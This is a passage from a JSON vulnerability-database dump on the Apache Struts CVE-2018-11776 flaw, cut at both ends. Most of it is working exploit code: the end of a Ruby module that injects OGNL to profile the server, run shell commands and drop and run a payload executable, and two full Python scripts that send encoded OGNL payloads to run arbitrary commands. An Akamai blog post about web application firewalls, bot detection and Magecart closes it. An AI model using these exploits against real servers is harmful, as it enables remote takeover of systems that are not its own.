return ognl\r\n end\r\n\r\n def send_struts_request(ognl, payload: nil)\r\n=begin #badchar-checking code\r\n pre = ognl\r\n=end\r\n\r\n ognl = \"${#{ognl}}\"\r\n vprint_status(\"Submitted OGNL: #{ognl}\")\r\n ognl = encode_ognl(ognl)\r\n\r\n headers = {'Keep-Alive': 'timeout=5, max=1000'}\r\n\r\n if payload\r\n vprint_status(\"Embedding payload of #{payload.length} bytes\")\r\n headers[datastore['HEADER']] = payload\r\n end\r\n\r\n # TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs\r\n uri = \"/#{ognl}/#{datastore['ACTION']}\"\r\n\r\n resp = send_request_cgi(\r\n #'encode' => true, # this fails to encode '\\', which is a problem for me\r\n 'uri' => uri,\r\n 'method' => datastore['HTTPMethod'],\r\n 'headers' => headers\r\n )\r\n\r\n if resp && resp.code == 404\r\n fail_with(Failure::UnexpectedReply, \"Server returned HTTP 404, please double check TARGETURI and ACTION options\")\r\n end\r\n\r\n=begin #badchar-checking code\r\n print_status(\"Response code: #{resp.code}\")\r\n #print_status(\"Response recv: BODY '#{resp.body}'\") if resp.body\r\n if resp.headers['Location']\r\n print_status(\"Response recv: LOC: #{resp.headers['Location'].split('/')[1]}\")\r\n if resp.headers['Location'].split('/')[1] == pre[1..-2]\r\n print_good(\"GOT 'EM!\")\r\n else\r\n print_error(\" #{pre[1..-2]}\")\r\n end\r\n end\r\n=end\r\n\r\n resp\r\n end\r\n\r\n def profile_target\r\n # Use OGNL to extract properties from the Java environment\r\n\r\n properties = { 'os.name': nil, # e.g. 'Linux'\r\n 'os.arch': nil, # e.g. 'amd64'\r\n 'os.version': nil, # e.g. '4.4.0-112-generic'\r\n 'user.name': nil, # e.g. 'root'\r\n #'user.home': nil, # e.g. '/root' (didn't work in testing)\r\n 'user.language': nil, # e.g. 'en'\r\n #'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)\r\n }\r\n\r\n ognl = \"\"\r\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\r\n ognl << %Q|('#{rand_text_alpha(2)}')|\r\n properties.each do |k,v|\r\n ognl << %Q|+(@[email\u00a0protected]('#{k}'))+':'|\r\n end\r\n ognl = ognl[0...-4]\r\n\r\n r = send_struts_request(ognl)\r\n\r\n if r.code == 400\r\n fail_with(Failure::UnexpectedReply, \"Server returned HTTP 400, consider toggling the ENABLE_STATIC option\")\r\n elsif r.headers['Location']\r\n # r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'\r\n # Extract the OGNL output from the Location path, and strip the two random chars\r\n s = r.headers['Location'].split('/')[1][2..-1]\r\n\r\n if s.nil?\r\n # Since the target didn't respond with an HTTP/400, we know the OGNL code executed.\r\n # But we didn't get any output, so we can't profile the target. Abort.\r\n return nil\r\n end\r\n\r\n # Confirm that all fields were returned, and non include extra (:) delimiters\r\n # If the OGNL fails, we might get a partial result back, in which case, we'll abort.\r\n if s.count(':') > properties.length\r\n print_error(\"Failed to profile target. Response from server: #{r.to_s}\")\r\n fail_with(Failure::UnexpectedReply, \"Target responded with unexpected profiling data\")\r\n end\r\n\r\n # Separate the colon-delimited properties and store in the 'properties' hash\r\n s = s.split(':')\r\n i = 0\r\n properties.each do |k,v|\r\n properties[k] = s[i]\r\n i += 1\r\n end\r\n\r\n print_good(\"Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}\" +\r\n \" #{properties[:'os.arch']}, running as #{properties[:'user.name']}\")\r\n return properties\r\n else\r\n print_error(\"Failed to profile target. Response from server: #{r.to_s}\")\r\n fail_with(Failure::UnexpectedReply, \"Server did not respond properly to profiling attempt.\")\r\n end\r\n end\r\n\r\n def execute_command(cmd_input, opts={})\r\n # Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.\r\n if cmd_input.include? ';'\r\n print_warning(\"WARNING: Command contains bad characters: semicolons (;).\")\r\n end\r\n\r\n begin\r\n properties = profile_target\r\n os = properties[:'os.name'].downcase\r\n rescue\r\n vprint_warning(\"Target profiling was unable to determine operating system\")\r\n os = ''\r\n os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'\r\n os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'\r\n os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'\r\n end\r\n\r\n if (os.include? 'linux') || (os.include? 'nix')\r\n cmd = \"{'sh','-c','#{cmd_input}'}\"\r\n elsif os.include? 'win'\r\n cmd = \"{'cmd.exe','/c','#{cmd_input}'}\"\r\n else\r\n vprint_error(\"Failed to detect target OS. Attempting to execute command directly\")\r\n cmd = cmd_input\r\n end\r\n\r\n # The following OGNL will run arbitrary commands on Windows and Linux\r\n # targets, as well as returning STDOUT and STDERR. In my testing,\r\n # on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.\r\n\r\n vprint_status(\"Executing: #{cmd}\")\r\n\r\n ognl = \"\"\r\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\r\n ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|\r\n ognl << %q|(#p.redirectErrorStream(true)).|\r\n ognl << %q|(#process=#p.start()).|\r\n ognl << %q|(#r=(@[email\u00a0protected]().getOutputStream())).|\r\n ognl << %q|(@[email\u00a0protected](#process.getInputStream(),#r)).|\r\n ognl << %q|(#r.flush())|\r\n\r\n r = send_struts_request(ognl)\r\n\r\n if r && r.code == 200\r\n print_good(\"Command executed:\\n#{r.body}\")\r\n elsif r\r\n if r.body.length == 0\r\n print_status(\"Payload sent, but no output provided from server.\")\r\n elsif r.body.length > 0\r\n print_error(\"Failed to run command. Response from server: #{r.to_s}\")\r\n end\r\n end\r\n end\r\n\r\n def send_payload\r\n # Probe for the target OS and architecture\r\n begin\r\n properties = profile_target\r\n os = properties[:'os.name'].downcase\r\n rescue\r\n vprint_warning(\"Target profiling was unable to determine operating system\")\r\n os = ''\r\n os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'\r\n os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'\r\n os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'\r\n end\r\n\r\n data_header = datastore['HEADER']\r\n if data_header.empty?\r\n fail_with(Failure::BadConfig, \"HEADER parameter cannot be blank when sending a payload\")\r\n end\r\n\r\n random_filename = datastore['TEMPFILE']\r\n\r\n # d = data stream from HTTP header\r\n # f = path to temp file\r\n # s = stream/handle to temp file\r\n ognl = \"\"\r\n ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']\r\n ognl << %Q|(#[email\u00a0protected]@getRequest().getHeader('#{data_header}')).|\r\n ognl << %Q|(#[email\u00a0protected]@createTempFile('#{random_filename}','tmp')).|\r\n ognl << %q|(#f.setExecutable(true)).|\r\n ognl << %q|(#f.deleteOnExit()).|\r\n ognl << %q|(#s=new java.io.FileOutputStream(#f)).|\r\n ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|\r\n ognl << %q|(#s.write(#d)).|\r\n ognl << %q|(#s.close()).|\r\n ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|\r\n ognl << %q|(#p.start()).|\r\n ognl << %q|(#f.delete()).|\r\n\r\n success_string = rand_text_alpha(4)\r\n ognl << %Q|('#{success_string}')|\r\n\r\n exe = [generate_payload_exe].pack(\"m\").delete(\"\\n\")\r\n r = send_struts_request(ognl, payload: exe)\r\n\r\n if r && r.headers && r.headers['Location'].split('/')[1] == success_string\r\n print_good(\"Payload successfully dropped and executed.\")\r\n elsif r && r.headers['Location']\r\n vprint_error(\"RESPONSE: \" + r.headers['Location'])\r\n fail_with(Failure::PayloadFailed, \"Target did not successfully execute the request\")\r\n elsif r && r.code == 400\r\n fail_with(Failure::UnexpectedReply, \"Target reported an unspecified error while executing the payload\")\r\n end\r\n end\r\nend\n\n# 0day.today [2021-09-17] #", "sourceHref": "https://0day.today/exploit/31056", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2018-08-28T02:33:52", "description": "Exploit for linux platform in category remote exploits", "cvss3": {}, "published": "2018-08-28T00:00:00", "type": "zdt", "title": "Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (1) Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-28T00:00:00", "id": "1337DAY-ID-30965", "href": "https://0day.today/exploit/description/30965", "sourceData": "#!/usr/bin/env python3\r\n# coding=utf-8\r\n# *****************************************************\r\n# struts-pwn: Apache Struts CVE-2018-11776 Exploit\r\n# Author:\r\n# Mazin Ahmed <Mazin AT MazinAhmed DOT net>\r\n# This code uses a payload from:\r\n# https://github.com/jas502n/St2-057\r\n# *****************************************************\r\n \r\nimport argparse\r\nimport random\r\nimport requests\r\nimport sys\r\ntry:\r\n from urllib import parse as urlparse\r\nexcept ImportError:\r\n import urlparse\r\n \r\n# Disable SSL warnings\r\ntry:\r\n import requests.packages.urllib3\r\n requests.packages.urllib3.disable_warnings()\r\nexcept Exception:\r\n pass\r\n \r\nif len(sys.argv) <= 1:\r\n print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')\r\n print('[*] Struts-PWN - @mazen160')\r\n print('\\n%s -h for help.' % (sys.argv[0]))\r\n exit(0)\r\n \r\n \r\nparser = argparse.ArgumentParser()\r\nparser.add_argument(\"-u\", \"--url\",\r\n dest=\"url\",\r\n help=\"Check a single URL.\",\r\n action='store')\r\nparser.add_argument(\"-l\", \"--list\",\r\n dest=\"usedlist\",\r\n help=\"Check a list of URLs.\",\r\n action='store')\r\nparser.add_argument(\"-c\", \"--cmd\",\r\n dest=\"cmd\",\r\n help=\"Command to execute. (Default: 'id')\",\r\n action='store',\r\n default='id')\r\nparser.add_argument(\"--exploit\",\r\n dest=\"do_exploit\",\r\n help=\"Exploit.\",\r\n action='store_true')\r\n \r\n \r\nargs = parser.parse_args()\r\nurl = args.url if args.url else None\r\nusedlist = args.usedlist if args.usedlist else None\r\ncmd = args.cmd if args.cmd else None\r\ndo_exploit = args.do_exploit if args.do_exploit else None\r\n \r\nheaders = {\r\n 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',\r\n # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',\r\n 'Accept': '*/*'\r\n}\r\ntimeout = 3\r\n \r\n \r\ndef parse_url(url):\r\n \"\"\"\r\n Parses the URL.\r\n \"\"\"\r\n \r\n # url: http://example.com/demo/struts2-showcase/index.action\r\n \r\n url = url.replace('#', '%23')\r\n url = url.replace(' ', '%20')\r\n \r\n if ('://' not in url):\r\n url = str(\"http://\") + str(url)\r\n scheme = urlparse.urlparse(url).scheme\r\n \r\n # Site: http://example.com\r\n site = scheme + '://' + urlparse.urlparse(url).netloc\r\n \r\n # FilePath: /demo/struts2-showcase/index.action\r\n file_path = urlparse.urlparse(url).path\r\n if (file_path == ''):\r\n file_path = '/'\r\n \r\n # Filename: index.action\r\n try:\r\n filename = url.split('/')[-1]\r\n except IndexError:\r\n filename = ''\r\n \r\n # File Dir: /demo/struts2-showcase/\r\n file_dir = file_path.rstrip(filename)\r\n if (file_dir == ''):\r\n file_dir = '/'\r\n \r\n return({\"site\": site,\r\n \"file_dir\": file_dir,\r\n \"filename\": filename})\r\n \r\n \r\ndef build_injection_inputs(url):\r\n \"\"\"\r\n Builds injection inputs for the check.\r\n \"\"\"\r\n \r\n parsed_url = parse_url(url)\r\n injection_inputs = []\r\n url_directories = parsed_url[\"file_dir\"].split(\"/\")\r\n \r\n try:\r\n url_directories.remove(\"\")\r\n except ValueError:\r\n pass\r\n \r\n for i in range(len(url_directories)):\r\n injection_entry = \"/\".join(url_directories[:i])\r\n \r\n if not injection_entry.startswith(\"/\"):\r\n injection_entry = \"/%s\" % (injection_entry)\r\n \r\n if not injection_entry.endswith(\"/\"):\r\n injection_entry = \"%s/\" % (injection_entry)\r\n \r\n injection_entry += \"{{INJECTION_POINT}}/\" # It will be renderred later with the payload.\r\n injection_entry += parsed_url[\"filename\"]\r\n \r\n injection_inputs.append(injection_entry)\r\n \r\n return(injection_inputs)\r\n \r\n \r\ndef check(url):\r\n random_value = int(''.join(random.choice('0123456789') for i in range(2)))\r\n multiplication_value = random_value * random_value\r\n injection_points = build_injection_inputs(url)\r\n parsed_url = parse_url(url)\r\n print(\"[%] Checking for CVE-2018-11776\")\r\n print(\"[*] URL: %s\" % (url))\r\n print(\"[*] Total of Attempts: (%s)\" % (len(injection_points)))\r\n attempts_counter = 0\r\n \r\n for injection_point in injection_points:\r\n attempts_counter += 1\r\n print(\"[%s/%s]\" % (attempts_counter, len(injection_points)))\r\n testing_url = \"%s%s\" % (parsed_url[\"site\"], injection_point)\r\n testing_url = testing_url.replace(\"{{INJECTION_POINT}}\", \"${{%s*%s}}\" % (random_value, random_value))\r\n try:\r\n resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)\r\n except Exception as e:\r\n print(\"EXCEPTION::::--> \" + str(e))\r\n continue\r\n if \"Location\" in resp.headers.keys():\r\n if str(multiplication_value) in resp.headers['Location']:\r\n print(\"[*] Status: Vulnerable!\")\r\n return(injection_point)\r\n print(\"[*] Status: Not Affected.\")\r\n return(None)\r\n \r\n \r\ndef exploit(url, cmd):\r\n parsed_url = parse_url(url)\r\n \r\n injection_point = check(url)\r\n if injection_point is None:\r\n print(\"[%] Target is not vulnerable.\")\r\n return(0)\r\n print(\"[%] Exploiting...\")\r\n \r\n payload = \"\"\"%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%[email\u00a0protected]@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%[email\u00a0protected]@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D\"\"\".format(cmd)\r\n \r\n testing_url = \"%s%s\" % (parsed_url[\"site\"], injection_point)\r\n testing_url = testing_url.replace(\"{{INJECTION_POINT}}\", payload)\r\n \r\n try:\r\n resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)\r\n except Exception as e:\r\n print(\"EXCEPTION::::--> \" + str(e))\r\n return(1)\r\n \r\n print(\"[%] Response:\")\r\n print(resp.text)\r\n return(0)\r\n \r\n \r\ndef main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):\r\n if url:\r\n if not do_exploit:\r\n check(url)\r\n else:\r\n exploit(url, cmd)\r\n \r\n if usedlist:\r\n URLs_List = []\r\n try:\r\n f_file = open(str(usedlist), \"r\")\r\n URLs_List = f_file.read().replace(\"\\r\", \"\").split(\"\\n\")\r\n try:\r\n URLs_List.remove(\"\")\r\n except ValueError:\r\n pass\r\n f_file.close()\r\n except Exception as e:\r\n print(\"Error: There was an error in reading list file.\")\r\n print(\"Exception: \" + str(e))\r\n exit(1)\r\n for url in URLs_List:\r\n if not do_exploit:\r\n check(url)\r\n else:\r\n exploit(url, cmd)\r\n \r\n print(\"[%] Done.\")\r\n \r\n \r\nif __name__ == \"__main__\":\r\n try:\r\n main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)\r\n except KeyboardInterrupt:\r\n print(\"\\nKeyboardInterrupt Detected.\")\r\n print(\"Exiting...\")\r\n exit(0)\n\n# 0day.today [2018-08-28] #", "sourceHref": "https://0day.today/exploit/30965", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-08-28T02:33:44", "description": "Exploit for multiple platform in category remote exploits", "cvss3": {}, "published": "2018-08-28T00:00:00", "type": "zdt", "title": "Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2) Exploit", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-08-28T00:00:00", "id": "1337DAY-ID-30966", "href": "https://0day.today/exploit/description/30966", "sourceData": "#!/usr/bin/python\r\n# -*- coding: utf-8 -*-\r\n \r\n# hook-s3c (github.com/hook-s3c), @hook_s3c on twitter\r\n \r\nimport sys\r\nimport urllib\r\nimport urllib2\r\nimport httplib\r\n \r\n \r\ndef exploit(host,cmd):\r\n print \"[Execute]: {}\".format(cmd)\r\n \r\n ognl_payload = \"${\"\r\n ognl_payload += \"(#_memberAccess['allowStaticMethodAccess']=true).\"\r\n ognl_payload += \"(#cmd='{}').\".format(cmd)\r\n ognl_payload += \"(#iswin=(@[email\u00a0protected]('os.name').toLowerCase().contains('win'))).\"\r\n ognl_payload += \"(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).\"\r\n ognl_payload += \"(#p=new java.lang.ProcessBuilder(#cmds)).\"\r\n ognl_payload += \"(#p.redirectErrorStream(true)).\"\r\n ognl_payload += \"(#process=#p.start()).\"\r\n ognl_payload += \"(#ros=(@[email\u00a0protected]().getOutputStream())).\"\r\n ognl_payload += \"(@[email\u00a0protected](#process.getInputStream(),#ros)).\"\r\n ognl_payload += \"(#ros.flush())\"\r\n ognl_payload += \"}\"\r\n \r\n if not \":\" in host:\r\n host = \"{}:8080\".format(host)\r\n \r\n # encode the payload\r\n ognl_payload_encoded = urllib.quote_plus(ognl_payload)\r\n \r\n # further encoding\r\n url = \"http://{}/{}/help.action\".format(host, ognl_payload_encoded.replace(\"+\",\"%20\").replace(\" \", \"%20\").replace(\"%2F\",\"/\"))\r\n \r\n print \"[Url]: {}\\n\\n\\n\".format(url)\r\n \r\n try:\r\n request = urllib2.Request(url)\r\n response = urllib2.urlopen(request).read()\r\n except httplib.IncompleteRead, e:\r\n response = e.partial\r\n print response\r\n \r\n \r\nif len(sys.argv) < 3:\r\n sys.exit('Usage: %s <host:port> <cmd>' % sys.argv[0])\r\nelse:\r\n exploit(sys.argv[1],sys.argv[2])\n\n# 0day.today [2018-08-28] #", "sourceHref": "https://0day.today/exploit/30966", "cvss": {"score": 0.0, "vector": "NONE"}}], "akamaiblog": [{"lastseen": "2020-09-09T13:53:38", "description": "SQL injections were first discovered in 1998, and over 20 years later, they remain an unsolved challenge and an ongoing threat for every web application and API. The Open Web Application Security Project (OWASP) highlighted injection flaws in its Top 10 lists for both [web application security risks](<https://owasp.org/www-project-top-ten/>) and [API security threats](<https://owasp.org/www-project-api-security/>). \n\nFor Akamai customers, SQL injections comprised 76% of all web application attacks detected over the past two years.\n\nThe reasons why SQL injections remain a challenge in 2020 are the same as those that have driven the growth of the World Wide Web ([and Akamai with it](<https://www.streamingmediablog.com/2020/08/akamai-milestone.html>)) over the past two decades:\n\n * There is more information online than ever before, including [information that has financial value](<https://content.akamai.com/PG2564-Weighing-Risk-Against-Data-Breach.html>), and is therefore a target for attackers\n * The number of web applications is rapidly growing, and Akamai customers often have hundreds of applications that collectively represent their digital experience\n * Web applications have become highly complex, with many different components and technologies; the first-party and open source code in apps pose growing vulnerabilities, as do the many connections between services -- all of which can be exploited at any weak point\n * Developers don't always think about security, and security teams aren't able to keep up with the increasing number of complex applications they're chartered to protect\n\nAll of these factors contribute to security teams having difficulty keeping security up to date in constantly changing apps. But that's only half of the equation. Rapid iteration also creates a steady stream of possible new vulnerabilities and attack vectors designed to exploit them.\n\n### DDoS Protection Starts with Zero-Second Mitigation\n\nMost customers start their [web application and API protection (WAAP)](<https://www.gartner.com/en/documents/3903064/defining-cloud-web-application-and-api-protection-servic>) journey with distributed denial-of-service (DDoS) protection. After all, applications need to be available before there's any worry about a data breach.\n\n[](<https://blogs.akamai.com/DDoSBlog1-thumb-700x505-10718.jpg>)\n\nFrom [Operation Ababil](<https://www.akamai.com/us/en/about/news/press/2013-press/akamai-third-quarter-2012-state-of-the-internet-report.jsp>) to [Memcached](<https://www.akamai.com/us/en/multimedia/documents/state-of-the-internet/soti-summer-2018-web-attack-report.pdf?mkt_tok=eyJpIjoiTm1JeU56SmhaVEV5TkRWaSIsInQiOiI2MVlld2w4NHBSSHJ5SGFVU2I2Y3hLZkxyREFYaEdZdmpBSGh6TjVOVk40eG1CRlZRbFlNNWpKNUVQOU0wRGdhNnVOSW02SUVnSnNmUmZHM0VPRG5BMHNUNGV2bnFZbEhielNYTzFaRlwvQlQxMEFHNzQrWlhHc1hJVTVzbk55ZXgifQ%3D%3D>), the common thread between Akamai's DDoS mitigation services has always been instant mitigation for attacks, backed by an industry-leading zero-second time-to-mitigate service-level agreement (SLA). From the beginning, Akamai designed its CDN as a reverse HTTP/S proxy that instantly drops all network-layer attacks, which make up the vast majority of all DDoS attacks. \n\nLikewise, our authoritative DNS service drops all traffic that is not on port 53 in zero seconds. [Prolexic Routed](<https://www.akamai.com/us/en/products/security/prolexic-solutions.jsp>) introduced a similar capability in 2013, with [proactive mitigation controls](<https://www.akamai.com/us/en/multimedia/documents/white-paper/proactive-ddos-mitigation-with-prolexic-mitigation-controls-whitepaper.pdf>) tailored to each customer's network profile. Prolexic Routed was also responsible for mitigating the record-setting [1.3 Tbps Memcached attack in February 2018](<https://blogs.akamai.com/2018/03/memcached-fueled-13-tbps-attacks.html>) and [809 Mpps attack in June 2020](<https://blogs.akamai.com/2020/06/largest-ever-recorded-packet-per-secondbased-ddos-attack-mitigated-by-akamai.html>).\n\nThe ability to mitigate even the largest attacks in zero seconds is unique in the industry. Starting with proactive mitigation provides the fastest and most effective method for mitigating the majority of DDoS attacks -- without any additional analysis required. This is especially critical with the DDoS landscape of 2020, where short \"hit and run\" attacks and [large-scale attacks comprising multiple attack vectors](<https://blogs.akamai.com/security/index2.html>) are increasing in prevalence. \n\nBoth of these trends increase the challenges of analyzing attack behavior and applying appropriate mitigation controls quickly. Defining and dropping abnormal traffic upfront provides a better experience for customers and allows Akamai's Security Operations Command Center (SOCC) staff to focus on attacks that require manual analysis and mitigation.\n\n### Demand More from Your WAF\n\nWeb application attacks such as SQL injection pose very different challenges. How do you protect all of your web applications when a) you don't have enough application security staff or expertise and b) the applications themselves are constantly growing and changing? \n\nThe following principles have guided Akamai's web application firewall (WAF) development since 2009, when we introduced the industry's first edge WAF:\n\n * **Reduce the number of things that require management.** \nMoving to an edge-based deployment model allows you to manage your global WAF configuration with a single interface, instead of having to configure dozens of appliances with every rule change.\n * **Look for anomalies, not Common Vulnerabilities and Exposures (CVEs). ** \nA CVE-based approach to WAF rules is unwieldy to manage and never gets ahead of the problem. Architecting the WAF around an anomaly scoring engine makes it easier to scale and has been [proven effective against some zero-day vulnerabilities](<https://blogs.akamai.com/sitr/2018/08/-attack-status-apache-struts-vulnerability-cve-2018-11776.html>).\n * **Curate WAF rules for customers.** \nThe most recent [Forrester Wave report on WAFs](<https://www.akamai.com/us/en/campaign/assets/reports/forrester-waf-wave-q1-2020.jsp>) gave high marks to Akamai's internal threat intelligence. Most organizations don't have enough security resources to manage a WAF over time. Akamai threat researchers help by continuously updating and testing WAF rules against live traffic to make enablement easier for customers.\n * **Leverage machine learning where it makes sense.** \nMost security teams won't trust an algorithm to update their WAF rules. Instead, Akamai uses machine learning to analyze live traffic (including 178 billion rule triggers a day) to identify anomalies requiring analysis by Akamai threat researchers.\n * **Automate as much as you can.** \nBecause of limited resources, most customers only protect their most critical applications, leaving many applications unprotected. Akamai developed [automated protections](<https://developer.akamai.com/blog/2018/10/10/quickly-protect-your-website-automatically-updated-waf-policies>) to protect the rest of the application footprint with a one-time click.\n * **Apply protection based on risk.** \nA reputation-based approach is a common example of protection-based risk. However, it is more effective to go beyond a simple binary score to provide a more accurate risk assessment. This can be done by creating [tailored risk scores based on attacker behavior against other customers and industries](<https://www.akamai.com/us/en/multimedia/documents/white-paper/5-phases-of-custom-risk-scoring.pdf>). In October, we'll be talking more about how to go beyond IP reputation and adapt WAF protections based on risk -- [stay tuned](<https://blogs.akamai.com/>).\n\n### [](<https://blogs.akamai.com/waf_daily_attacks_2019-06-01_2020-05-31.jpg>)API Security for Agile Organizations \n\n\n[API security](<https://www.akamai.com/uk/en/solutions/performance/api-security.jsp>) provides an industry-wide lesson on the need to provide a bridge between security teams and developers. Akamai introduced a positive security model for API protection in 2017, allowing customers to define API endpoints with Akamai to drop abnormal traffic and apply web application firewall (WAF) inspection. However, this required security teams to have visibility into the APIs developers are creating, which has proven challenging for most organizations. To help bridge that gap, Akamai recommends that API security does the following:\n\n * **Automatically inspect all API traffic.** \nAkamai now [automatically inspects all XML and JSON traffic](<https://blogs.akamai.com/2019/03/automated-api-protection-with-wap.html>) for web application attacks without requiring APIs to be defined and registered with Akamai. \n\n * **Automatically discover new API endpoints.** \nIn October, we'll be talking about an exciting new capability that will finally allow security teams to keep up with changing APIs by discovering API endpoints and their definitions -- integrated with WAF protections. Stay tuned and check [our blog](<https://blogs.akamai.com/>) for updates.\n\n### Detecting 12 Billion Bot Requests Daily \n\n\nUnlike DDoS and web application attacks, where attacks can often be identified based on traffic volume or signature, bot attacks have always attempted to blend with human traffic to go undetected. In addition, the more sophisticated bot operators continuously evolve in their attempts to evade detections. \n\nThis has driven a major shift in how the industry has approached the problem. Akamai recommends the following practices:\n\n * **Leverage signature-based rules.** \nBasic bot detection looks like a WAF, with rules based on bot signatures. These basic detections can still easily detect \"dumb bots\" comprising more than 50% of bot traffic, allowing advanced detections to focus on more sophisticated bots.\n * **Look for anomalies, not attacks. ** \nAs bots continue to better mimic human behavior, identifying sophisticated bots requires dropping all preconceived notions of what a bot may look like. Instead, machine learning algorithms such as [adaptive anomaly clustering](<https://blogs.akamai.com/2019/03/bot-manager-staying-ahead-of-the-bot-landscape.html>) look for anomalies in traffic and signals collected from the 1.3 billion devices that Akamai sees daily. \n\n * **Trust machine learning findings that review a lot of data. ** \nDetecting bots requires an algorithmic approach to correlating signals across different applications and customers in real time. However, machine learning requires lots of data to ensure accuracy. Akamai feeds signals from unmatched volumes of first-party data -- 1.3 billion unique clients per day and hundreds of Tbps of traffic -- into our machine learning algorithms to detect 12 billion bot requests and 280 million bot logins every day.\n * **Manage, don't mitigate.** \nWhile bots may be easy to block, bot management remains a cat-and-mouse game between attackers and security vendors. Unlike traditional tools, Akamai's inline architecture provides a wide array of response options to help manage the long-term impacts of bots.\n\n### The Newest Frontier: In-Browser Threats \n\n\n[Magecart-style attacks](<https://blogs.akamai.com/sitr/2018/11/an-introduction-to-magecart.html>) started hitting the mainstream in 2018, with major breaches at Ticketmaster, Newegg, and British Airways. These attacks are characterized by the ability to compromise scripts running on modern web pages. \n\nThese new types of attacks prove that new attack vectors will continue to be discovered as underlying applications continue to change. In response, security technology will continue to evolve as well. \n\nFor in-browser threats like Magecart, Akamai has shifted its approach again to:\n\n * **Protect in the browser, not in the application.** \nMagecart-style attacks occur in every client's browser, invisible to traditional security tools. Detecting and mitigating compromised scripts running in the browser require implementing [protection](<https://www.akamai.com/us/en/products/security/page-integrity-manager.jsp>) into the browser.\n * **Continuously monitor script behavior. ** \nSophisticated script attacks can be executed in a fraction of a second and gone before you notice them. Akamai's unique approach continuously monitors script behavior, allowing you to catch even transient threats.\n * **Look for anomalies even in legitimate scripts. ** \nWith malicious code injected into compromised scripts, in-browser threat protection must identify unusual changes in behavior even for well-known, legitimate scripts.\n\nFrom SQL injections to Magecart, the challenge of protecting web applications and APIs will continue to grow -- with new attack vectors to protect against as well as changing applications. Navigating the evolving threat landscape requires an expanding kit of tools, solutions, and vendors to reduce the risk of doing business online. \n\n\n### Beyond WAAP: Enterprise and Carrier Security\n\nWhile often the most high-profile targets, data breaches are not limited to web applications. [Gartner's secure access service edge (SASE)](<https://blogs.akamai.com/2019/11/security-at-the-edge-what-is-gartners-sase-why-does-it-matter.html>) provides organizations with a broader framework through which to think through your security approach, including [secure web gateway (SWG)](<https://blogs.akamai.com/2020/03/akamai-enhances-enterprise-threat-protector-to-add-secure-web-gateway-capabilities.html>), [Zero Trust Access](<https://www.akamai.com/us/en/campaign/assets/reports/gartner-2020-market-guide-for-zero-trust-network-access.jsp>), and [DNS security](<https://www.akamai.com/us/en/solutions/security/dns-security-services.jsp>). Every organization should evaluate their full needs and map to different approaches as well as potential solutions. For more information on these markets and more, please see:\n\n * [2019 Gartner Magic Quadrant for Web Application Firewalls](<https://www.akamai.com/us/en/campaign/assets/reports/2019-gartner-magic-quadrant-for-web-application-firewalls.jsp>)\n * [2019 Gartner Critical Capabilities for Web Application Firewall Services](<https://www.akamai.com/us/en/campaign/assets/reports/gartner-waf-critical-capabilities-report-2019.jsp>)\n * [Forrester Wave\u2122: Zero Trust eXtended Ecosystem Platform Providers, Q4 2019](<https://www.akamai.com/us/en/campaign/assets/reports/forrester-zero-trust-wave-q4-2019-report.jsp>)\n * [Forrester Wave\u2122: Web Application Firewalls, Q1 2020](<https://www.akamai.com/us/en/campaign/assets/reports/forrester-waf-wave-q1-2020.jsp>)\n * [Forrester New Wave\u2122: Bot Management, Q1 2020](<https://www.akamai.com/us/en/campaign/assets/reports/2020-forrester-new-wave-bot-management.jsp>)\n", "edition": 2, "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.1, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": 